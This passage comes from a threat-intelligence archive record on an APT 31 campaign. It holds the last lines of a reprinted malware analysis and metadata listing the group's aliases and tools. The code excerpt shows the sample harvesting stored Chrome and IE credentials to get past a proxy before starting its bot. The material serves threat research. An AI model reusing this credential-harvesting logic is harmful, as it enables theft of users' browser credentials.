isproxy)\r\n            else:\r\n                chrome_creds = get_ie_creds(server)\r\n                if chrome_creds:\r\n                    flag = check_cred(server, chrome_creds)\r\n                    if flag:\r\n                        startbot(isproxy)\r\n                    else:\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 27 of 28\n\nstartbot(not isproxy)\r\n                else:\r\n                    flag = check_cred(server, [])\r\n                    if flag:\r\n                        startbot(isproxy)\r\n                    else:\r\n                        startbot(not isproxy)\r\n        except Exception as e:\r\n            startbot(0)\r\n    else:\r\n        startbot(isproxy)\r\nSource: https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 28 of 28",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online"
	],
	"report_names": [
		"apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online"
	],
	"threat_actors": [
		{
			"id": "dc7ee503-9494-4fb6-a678-440c68fd31d8",
			"created_at": "2022-10-25T16:07:23.349177Z",
			"updated_at": "2026-04-10T02:00:04.552639Z",
			"deleted_at": null,
			"main_name": "APT 31",
			"aliases": [
				"APT 31",
				"Bronze Vinewood",
				"G0128",
				"Judgment Panda",
				"Red Keres",
				"RedBravo",
				"TA412",
				"Violet Typhoon",
				"Zirconium"
			],
			"source_name": "ETDA:APT 31",
			"tools": [
				"9002 RAT",
				"Agent.dhwf",
				"AngryRebel",
				"CHINACHOPPER",
				"China Chopper",
				"Destroy RAT",
				"DestroyRAT",
				"Farfli",
				"Gh0st RAT",
				"Ghost RAT",
				"GrewApacha",
				"HOMEUNIX",
				"HiKit",
				"HidraQ",
				"Homux",
				"Hydraq",
				"Kaba",
				"Korplug",
				"McRAT",
				"MdmBot",
				"Moudour",
				"Mydoor",
				"PCRat",
				"PlugX",
				"RedDelta",
				"Roarur",
				"Sakula",
				"Sakula RAT",
				"Sakurel",
				"SinoChopper",
				"Sogu",
				"TIGERPLUG",
				"TVT",
				"Thoper",
				"Trochilus RAT",
				"Xamtrav"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434170,
	"ts_updated_at": 1775792242,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/eb6e11ffef59ee30e7066039fd7bc435b1e03ca6.pdf",
		"text": "https://archive.orkl.eu/eb6e11ffef59ee30e7066039fd7bc435b1e03ca6.txt",
		"img": "https://archive.orkl.eu/eb6e11ffef59ee30e7066039fd7bc435b1e03ca6.jpg"
	}
}